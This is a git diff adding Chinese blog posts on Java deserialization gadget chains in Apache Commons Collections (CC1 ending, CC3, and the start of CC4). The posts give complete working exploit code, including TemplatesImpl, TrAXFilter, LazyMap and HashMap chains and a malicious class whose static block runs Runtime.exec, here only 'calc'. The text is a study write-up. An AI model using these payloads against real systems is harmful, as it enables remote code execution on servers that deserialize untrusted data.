ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} +``` + +###### 第二重判断 `if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))` 绕过 + +我们通过调试 payload3 来查看此时的 var7 ,var8 分别是什么,顺便解答一下前面的疑惑。 + +**payload3 中在 readObject 处下一个断点:** + +![](https://changeyourway.github.io/images/image-20240508144239204.png) + +**AnnotationInvocationHandler 类的 readObject 方法下四个断点:** + +![](https://changeyourway.github.io/images/image-20240508144351664.png) + +**开始调试,直接跳断点就可以了:** + +![](https://changeyourway.github.io/images/image-20240508144500086.png) + +**接下来我们来看 var2 在初始化之后是什么:** + +![](https://changeyourway.github.io/images/image-20240508144628535.png) + +可以看到 var2 是一个 AnnotationType 对象,而且其 memberTypes 属性是一个 HashMap 对象,其中的键值对是 “value” -> Target 成员属性的类型 ElementType 。 + +**看看 var3 被赋值后是什么:** + +![](https://changeyourway.github.io/images/image-20240508145136656.png) + +var3 获取到的是 var2 的 memberTypes 属性值。 + +**看看 var7 被赋值后是什么:** + +![](https://changeyourway.github.io/images/image-20240508145350346.png) + +var7 获取到的就是 var3 键值对中的值。由于 var7 不为空,进入判断。 + +\*\*看看 var8 被赋值后是什么,断点不够了再加俩断点: \*\* + +![](https://changeyourway.github.io/images/image-20240508145858661.png) + +var8 获取到的是 payload3 中传入的 map 值,这也在预期之中。 + +**接下来单步进入判断,想不到直接就过去了:** + +![](https://changeyourway.github.io/images/image-20240508150053698.png) + +点进 var7 的 isInstance 方法去看了一下,在文档中发现这个方法与 instanceof 等效,instanceof 是判断其左边对象是否为其右边类的实例 ,而 isInstance 是 Class 类中的方法,也是用于判断某个实例是否是某个类的实例化对象,但是指向则相反: + +![](https://changeyourway.github.io/images/image-20240508150947421.png) + +这样就解释得通了,var8 并不是 ElementType 类的对象,var8 也并不是 ExceptionProxy 类的对象,所以这个判断直接过了。 + +那么就只剩下最后一个问题了:var5 的 setValue 方法参数不可控。 + +#### var5 的 setValue 方法参数不可控解决办法 + +按道理,我们想让 var5 的 setValue 方法参数为 Runtime.class ,但是这里的参数明显不能让我们达成目的。这就要提到 Transformer 接口的一个子类 ConstantTransformer 了。 + +###### ConstantTransformer 类 + +``` +public class ConstantTransformer implements Transformer, Serializable { + private static final long serialVersionUID = 6374440726369055124L; + public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); + private final Object iConstant; + + public static Transformer getInstance(Object constantToReturn) { + return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); + } + + public ConstantTransformer(Object constantToReturn) { + this.iConstant = constantToReturn; + } + + public Object transform(Object input) { + return this.iConstant; + } + + public Object getConstant() { + return this.iConstant; + } +} +``` + +看 ConstantTransformer 类的 transform 方法会发现:无论传入什么参数,都返回 this.iConstant ,而 iConstant 属性在 ConstantTransformer 的构造方法中被赋值,这个构造方法又被 public 修饰,所以可以直接调用。 + +那么我们可以将 ConstantTransformer 的 iConstant 属性赋值成 Runtime.class ,然后将其放在 ChainedTransformer 调用链的最上层,这样无论传入什么,ConstantTransformer 的 transform 方法都会返回 Runtime.class 作为下一个 transform 方法的参数。 + +于是我们得到最终 payload : + +#### 最终 payload + +``` +public class FinalPayload { + public static void main(String[] args) throws Exception { + // 获取包含执行类的 ChainedTransformer 对象 + Transformer[] transformers = new Transformer[]{ + // 将传入参数固定为 Runtime.class + new ConstantTransformer(Runtime.class), + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 构造一个 Map 对象,键为 value + HashMap map = new HashMap<>(); + map.put("value", "test"); + + // 初始化利用链 TransformedMap + Map transformedmap = TransformedMap.decorate(map, null, chainedTransformer); + + // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); + annotationInvocationConstructor.setAccessible(true); + // 将有成员属性的 Target.class 传入(也可以用其他的注解类比如 Retention.class) + Object o = annotationInvocationConstructor.newInstance(Target.class, transformedmap); + + // serialize(o); + unserialize("ser.bin"); + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} +``` + +### 调用链总结 + +``` +AnnotationInvocationHandler#readObject(ObjectInputStream) + -> AbstractInputCheckedMapDecorator#entrySet() + -> AbstractInputCheckedMapDecorator$EntrySet#iterator() + AbstractInputCheckedMapDecorator$EntrySetIterator#EntrySetIterator(Iterator,AbstractInputCheckedMapDecorator) + -> AbstractInputCheckedMapDecorator$EntrySetIterator#next() + AbstractInputCheckedMapDecorator$MapEntry#MapEntry(Map.Entry, AbstractInputCheckedMapDecorator) + -> AbstractInputCheckedMapDecorator$MapEntry#setValue(Object) + TransformedMap#checkSetValue(Object) + InvokerTransformer#transform(Object) # 调用任意方法 +``` + +### 结语 + +有时候跳源码看会发现源码晦涩难懂,不如直接调试看结果,根据结果修改输入的参数。 + +Ref:[https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#IL3zn](https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#IL3zn) diff --git a/books/漏洞篇 - Java 反序列化之 CC3 链.md b/books/漏洞篇 - Java 反序列化之 CC3 链.md new file mode 100644 index 0000000..6abadc9 --- /dev/null +++ b/books/漏洞篇 - Java 反序列化之 CC3 链.md @@ -0,0 +1,603 @@ +# 漏洞篇 - Java 反序列化之 CC3 链 +> 2024-05-27 +> 来源:https://changeyourway.github.io/2024/05/27/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-CC3%E9%93%BE%E5%88%86%E6%9E%90/ + +CC3 链的核心在于利用 TemplatesImpl 加载恶意类时执行静态代码块。 + +## CC3 链分析 + +在分析 CC3 链之前,我们需要再深入地了解一下 Java 的类加载机制。虽然我前面有提到 Java 类加载的几种方式,但是这里还是需要再深入了解一下。 + +推荐博客:[Java 基础篇-类加载机制](https://www.cnblogs.com/1vxyz/p/17245206.html) + +[ClassLoader,吃透它看这一篇就够了](https://www.cnblogs.com/caicz/p/12718026.html) + +### 自定义类加载器 + +实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。 + +ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。 + +loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。 + +### 双亲委派机制 + +想要自定义类加载器,一定需要了解双亲委派模型 + +双亲委派机制原理如下: + +类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到`BootStrapClassLoader`。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为 `BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器` 。 + +双亲委派机制的好处: + +能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。 + +### 利用链之 TemplatesImpl 类 + +TemplatesImpl 类中的静态内部类 TransletClassLoader 就是一个自定义类加载器,它继承了 ClassLoader ,重写了 defineClass 方法。defineClass() 完成类加载的加载 -> 验证 -> 准备 -> 解析四个阶段,而静态代码块在初始化阶段被执行。所以可以把命令放在静态代码块中,最后利用 newInstance 方法完成初始化并执行它。 + +#### 利用链总结 + +``` +/* +TemplatesImpl#newTransformer() + TemplatesImpl#getTransletInstance() + TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() +*/ +``` + +TransletClassLoader 静态内部类的 defineClass 方法: + +``` +Class defineClass(final byte[] b) { + return defineClass(null, b, 0, b.length); +} +``` + +这里需要传入一个字节数组,字节数组中应当存放我们自定义类的字节码。接下来看看哪里调用了这个方法,defineTransletClasses 方法中调用了这个方法。 + +defineTransletClasses 是外部类 TemplatesImpl 的成员方法,它调用了 TransletClassLoader 内部类的 defineClass 方法: + +![](/images/image-20240517084830066.png) + +由于 defineTransletClasses 是私有方法,再找找谁调用了这个方法。 + +getTransletInstance 方法调用了 defineTransletClasses 方法: + +![](/images/image-20240517085104839.png) + +由于 getTransletInstance 是私有方法,再找找谁调用了这个方法。 + +newTransformer 方法调用了 getTransletInstance : + +![](/images/image-20240517085438851.png) + +#### 判断绕过 + +刚才在看代码的时候看到一些判断条件,现在来过一下判断。 + +getTransletInstance 方法中,如果 \_name 为空那么将会直接返回 null,所以 \_name 应该不为空,以及需要 \_class 为空才能调用 defineTransletClasses 方法: + +![](/images/image-20240517091101680.png) + +defineTransletClasses 方法中如果 \_bytecodes 为空会直接抛出异常,所以这里 \_bytecodes 应该不为空,以及下面会调用 \_tfactory 方法,所以 \_tfactory 不为空: + +![](/images/image-20240517091708581.png) + +总结一下: + +- **\_name 不为空** + +``` +private String _name = null; +``` + +- **\_class 为空** + +``` +private Class[] _class = null; +``` + +- **\_bytecodes 需要被赋值为字节码文件** + +``` +private byte[][] _bytecodes = null; +``` + +它后面会作为 defineClass 方法的参数: + +``` +_class[i] = loader.defineClass(_bytecodes[i]); +``` + +由于 \_bytecodes 是一个二维数组,而传入的参数是 \_bytecodes\[i\] ,也就是一个一维数组,所以我们需要创建一个一维数组,再把它放到 \_bytecodes 二维数组中去。这里因为前面的循环次数取的是 \_bytecodes 的长度,如果只传入一个一维数组,那么长度为 1 ,只循环一次,i 只能取到 0 这个值,那么 \_bytecodes\[i\] 就是传入的一维数组: + +![](https://changeyourway.github.io/images/image-20240517103843968.png) + +- **\_tfactory 需要被赋值为 TransformerFactoryImpl 对象** + +``` +private transient TransformerFactoryImpl _tfactory = null; +``` + +由于 \_tfactory 被 transient 修饰,无法被序列化,因此没办法手动赋值。但是在 TemplatesImpl 类的 readObject 方法中有赋值语句: + +``` +_tfactory = new TransformerFactoryImpl(); +``` + +所以 \_tfactory 可以不用管。 + +除此之外,我们还需要关注一件事: + +![](https://changeyourway.github.io/images/image-20240524155627516.png) + +TemplatesImpl#defineTransletClasses() 会判断我们传入的类的父类是否为 ABSTRACT\_TRANSLET ,如果是的话才会将 \_transletIndex 赋值成 i (此时 i 为 0),而 \_transletIndex 的默认值是 -1 ,如果这里不被赋值的话,下面经过判断后就会直接抛出异常。所以我们还要让传入的类继承 ABSTRACT\_TRANSLET 。 + +我们可以在 TemplatesImpl 类中查到 ABSTRACT\_TRANSLET 属性的定义: + +![](https://changeyourway.github.io/images/image-20240524160402778.png) + +可以看到它指代的类是 AbstractTranslet ,那么我们只需让传入的类继承 AbstractTranslet 类就行。 + +#### 写个小程序验证一下 + +恶意类 Eval : + +``` +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.IOException; +import java.io.Serializable; + +public class Eval extends AbstractTranslet { + // 恶意代码放在静态代码块中 + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + // 需要重写父类的两个方法 + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} +``` + +执行程序 test1 : + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; + +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; + +public class test1 { + public static void main(String[] args) throws Exception { + // 初始化TemplatesImpl对象 + TemplatesImpl templates = new TemplatesImpl(); + // _name不为空 + setFieldValue(templates, "_name", "test"); + + // 这里需要用到恶意类的字节码文件,通过maven编译后target目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); + byte[][] codes = {code}; + // _bytecodes和_tfactory不为空,由于还没有进行反序列化,这里先手动设置_tfactory的值 + setFieldValue(templates, "_bytecodes", codes); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + templates.newTransformer(); + } + + // 反射设置值的操作重复,可以抽离成一个方法 + public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { + Class clazz = object.getClass(); + Field declaredField = clazz.getDeclaredField(field_name); + declaredField.setAccessible(true); + declaredField.set(object, filed_value); + } +} +``` + +成功弹出计算器。 + +### 利用链之 TrAXFilter 类 + +TrAXFilter 的构造方法会调用 TemplatesImpl 的 newTransformer() 方法: + +``` +public TrAXFilter(Templates templates) throws + TransformerConfigurationException +{ + _templates = templates; + _transformer = (TransformerImpl) templates.newTransformer(); + _transformerHandler = new TransformerHandlerImpl(_transformer); + _useServicesMechanism = _transformer.useServicesMechnism(); +} +``` + +而且还是个 public 方法,可惜的是 TrAXFilter 不能被序列化。 + +### 入口类 InstantiateTransformer + +InstantiateTransformer 的 transform 能够实例化对象: + +``` +public Object transform(Object input) { + try { + if (input instanceof Class == false) { + throw new FunctorException( + "InstantiateTransformer: Input object was not an instanceof Class, it was a " + + (input == null ? "null object" : input.getClass().getName())); + } + Constructor con = ((Class) input).getConstructor(iParamTypes); + return con.newInstance(iArgs); + + } catch (NoSuchMethodException ex) { + throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); + } catch (InstantiationException ex) { + throw new FunctorException("InstantiateTransformer: InstantiationException", ex); + } catch (IllegalAccessException ex) { + throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); + } catch (InvocationTargetException ex) { + throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); + } +} +``` + +于是我们可以直接用 InstantiateTransformer 来实例化 TrAXFilter 对象。 + +#### 写个小程序验证一下 + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.collections.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; + +public class test2 { + public static void main(String[] args) throws Exception { + // 初始化TemplatesImpl对象 + TemplatesImpl templates = new TemplatesImpl(); + // _name不为空 + setFieldValue(templates, "_name", "test"); + // 这里需要用到恶意类的字节码文件,通过maven编译后target目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); + byte[][] codes = {code}; + // _bytecodes和_tfactory不为空,由于还没有进行反序列化,这里先手动设置_tfactory的值 + setFieldValue(templates, "_bytecodes", codes); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + // 初始化InstantiateTransformer对象,利用它实例化TrAXFilter对象 + InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); + instantiateTransformer.transform(TrAXFilter.class); + } + + // 反射设置值的操作重复,可以抽离成一个方法 + public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { + Class clazz = object.getClass(); + Field declaredField = clazz.getDeclaredField(field_name); + declaredField.setAccessible(true); + declaredField.set(object, filed_value); + } +} +``` + +### 反序列化利用 + +我们依然是选择用 InvokerTransformer 类的 transform 方法来执行 TemplatesImpl 的 newTransformer() 方法。但是反序列化的入口有多个选择,可以使用 AnnotationInvocationHandler 的 readObject ,或者 HashMap 的 readObject 。 + +除了上述方法之外还可以用 TrAXFilter 类来调用 TemplatesImpl 的 newTransformer() 方法。 + +#### 将 AnnotationInvocationHandler 作为入口类 + +前面学 CC1 链的时候我们就是用 AnnotationInvocationHandler 的 readObject 方法来反序列化的,但是有 Java 版本限制。 + +payload 如下: + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.io.*; +import java.lang.reflect.*; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; +import java.util.Map; + +public class CC1_TemplatesImpl { + public static void main(String[] args) throws Exception { + // 初始化 TemplatesImpl 对象 + TemplatesImpl templates = new TemplatesImpl(); + // _name 不为空 + setFieldValue(templates,"_name","test"); + // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); + byte[][] codes = {code}; + // _bytecodes 不为空 + setFieldValue(templates,"_bytecodes",codes); + + //利用 ChainedTransformer 执行 templates.newTransformer(); + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(templates), + new InvokerTransformer("newTransformer", null,null) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + // 新建一个 HashMap ,没什么意义,仅作为参数传入 + HashMap map = new HashMap<>(); + // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 + Map lazyMap = LazyMap.decorate(map,chainedTransformer); + + // 反射获取 AnnotationInvocationHandler 的构造方法 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); + annotationInvocationhdlConstructor.setAccessible(true); + // 利用构造方法将 AnnotationInvocationHandler 对象的 memberValues 属性赋值为 LazyMap 对象 + // memberValues 属性的 get 方法将会被 AnnotationInvocationHandler 的 invoke 方法调用 + InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); + + // 为了能够调用 h 的 invoke 方法,我们用 h 来构造一个代理对象,这样当代理对象的任意方法被调用时,h 的 invoke 方法都会被调用 + Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); + + // 再次利用构造方法将另一个 AnnotationInvocationHandler 对象的 memberValues 属性赋值为代理对象 + // AnnotationInvocationHandler 的 readObject 方法中会调用 memberValues.entrySet() 方法,届时代理对象的 invoke 方法将被触发 + Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); + serialize(o); + unserialize("cc1_templatesImpl.bin"); + } + + public static void setFieldValue(Object object,String field_name,Object filed_value) throws Exception { + Class clazz=object.getClass(); + Field declaredField=clazz.getDeclaredField(field_name); + declaredField.setAccessible(true); + declaredField.set(object,filed_value); + } + + public static void serialize(Object o) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1_templatesImpl.bin")); + oos.writeObject(o); + } + + public static void unserialize(String filename) throws Exception { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); + ois.readObject(); + } +} +``` + +#### 将 HashMap 作为入口类 + +前面学 CC6 链时,我们便是将 HashMap 作为入口类,原因是 HashMap 的 readObject 方法会调用 key 的 hashCode 方法。 + +之后的利用链 TiedMapEntry : + +``` +TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() +``` + +所以将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象就好。 + +payload 如下: + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.*; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; +import java.util.Map; + +public class CC6_TemplatesImpl { + public static void main(String[] args) throws Exception { + // 初始化 TemplatesImpl 对象 + TemplatesImpl templates = new TemplatesImpl(); + // _name 不为空 + setFieldValue(templates,"_name","test"); + // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); + byte[][] codes = {code}; + // _bytecodes 不为空 + setFieldValue(templates,"_bytecodes",codes); + + //利用 ChainedTransformer 执行 templates.newTransformer(); + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(templates), + new InvokerTransformer("newTransformer", null,null) + }; + + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 新建一个 HashMap ,没什么意义,仅作为参数传入 + HashMap map = new HashMap<>(); + // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 + // 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象 + Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); + + // 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象 + // 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key"); + + // 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode() + HashMap map2 = new HashMap<>(); + // 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值 + // 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法 + map2.put(tiedMapEntry,"test"); + // 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key + lazyMap.remove("key"); + + // 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer + Class c = LazyMap.class; + Field factory = c.getDeclaredField("factory"); + factory.setAccessible(true); + factory.set(lazyMap,chainedTransformer); + + serialize(map2); + unserialize("cc6_templatesImpl.bin"); + } + public static void setFieldValue(Object object,String field_name,Object filed_value) throws Exception { + Class clazz=object.getClass(); + Field declaredField=clazz.getDeclaredField(field_name); + declaredField.setAccessible(true); + declaredField.set(object,filed_value); + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templatesImpl.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String filename) throws Exception { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); + return ois.readObject(); + } +} +``` + +#### TrAXFilter + InstantiateTransformer 代替 InvokerTransformer + +利用 TrAXFilter 的构造方法调用 TemplatesImpl 的 newTransformer() 方法,就不需要使用 InvokerTransformer 了。入口类可以从上面两个中选一个。 + +为了更加通用,这里选择将 HashMap 作为入口类,payload 如下: + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; +import java.util.Map; + +public class TrAXFilter_TemplatesImpl { + public static void main(String[] args) throws Exception { + // 初始化 TemplatesImpl 对象 + TemplatesImpl templates = new TemplatesImpl(); + // _name 不为空 + setFieldValue(templates, "_name", "test"); + // 初始化 InstantiateTransformer 对象,利用它实例化 TrAXFilter 对象 + InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); + // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); + byte[][] codes = {code}; + // _bytecodes 不为空 + setFieldValue(templates, "_bytecodes", codes); + + // 利用 ChainedTransformer 执行 templates.newTransformer(); + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + instantiateTransformer + }; + + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 新建一个 HashMap ,没什么意义,仅作为参数传入 + HashMap map = new HashMap<>(); + // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 + // 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象 + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + + // 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象 + // 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); + + // 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode() + HashMap map2 = new HashMap<>(); + // 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值 + // 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法 + map2.put(tiedMapEntry, "test"); + // 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key + lazyMap.remove("key"); + + // 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer + Class c = LazyMap.class; + Field factory = c.getDeclaredField("factory"); + factory.setAccessible(true); + factory.set(lazyMap, chainedTransformer); + + serialize(map2); + unserialize("trAXFilter_templatesImpl.bin"); + } + + public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { + Class clazz = object.getClass(); + Field declaredField = clazz.getDeclaredField(field_name); + declaredField.setAccessible(true); + declaredField.set(object, filed_value); + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("trAXFilter_templatesImpl.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String filename) throws Exception { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); + return ois.readObject(); + } +} +``` + +### 调用链总结 + +这里只总结 TrAXFilter + InstantiateTransformer 这条链子: + +``` +HashMap#readObject(java.io.ObjectInputStream) +HashMap#hash(Object) +TiedMapEntry#hashCode() +TiedMapEntry#getValue() +LazyMap#get(Object) +InstantiateTransformer#transform(Object) +TrAXFilter#TrAXFilter(Templates) +TemplatesImpl#newTransformer() +TemplatesImpl#getTransletInstance() + -> TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() # 类加载的前四个阶段 + -> Class#newInstance() # 初始化时执行静态代码块 +``` diff --git a/books/漏洞篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链.md b/books/漏洞篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链.md new file mode 100644 index 0000000..3c86cfe --- /dev/null +++ b/books/漏洞篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链.md @@ -0,0 +1,1020 @@ +# 漏洞篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链 +> 2024-06-05 +> 来源:https://changeyourway.github.io/2024/06/05/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-CC4+CC2+CC5+CC7%E9%93%BE%E5%88%86%E6%9E%90/ + +## CC4 链 + +在 Commons Collections 版本为 3.2.1 的背景下,可以使用 TransformedMap 或者 LazyMap 来执行 transform 方法,但当 Commons Collections 的版本提升到 4.0 时,就又多出了一种办法:利用 TransformingComparator 来执行 transform 方法。 + +先前我们将 AnnotationInvocationHandler 和 HashMap 作为入口类,利用它们的 readObject 方法来反序列化,但是现在我们还可以利用 PriorityQueue 的 readObject 来反序列化。 + +**实验环境** + +- java = 8u65 +- CommonsCollections = 4.0 + +pom.xml 中导入如下依赖: + +``` + + org.apache.commons + commons-collections4 + 4.0 + +``` + +### 利用链之 TransformingComparator + +在 CommonsCollections 4.0 版本中,TransformingComparator 实现了 Serializable 接口,可以被序列化,而在 3.2.1 版本中是不可序列化的。 + +TransformingComparator 的 compare 方法中就调用了 transform 方法: + +``` +public int compare(I obj1, I obj2) { + O value1 = this.transformer.transform(obj1); + O value2 = this.transformer.transform(obj2); + return this.decorated.compare(value1, value2); +} +``` + +transformer 是 TransformingComparator 中定义的属性: + +``` +private final Transformer transformer; +``` + +这个属性在构造方法中被赋值: + +``` +public 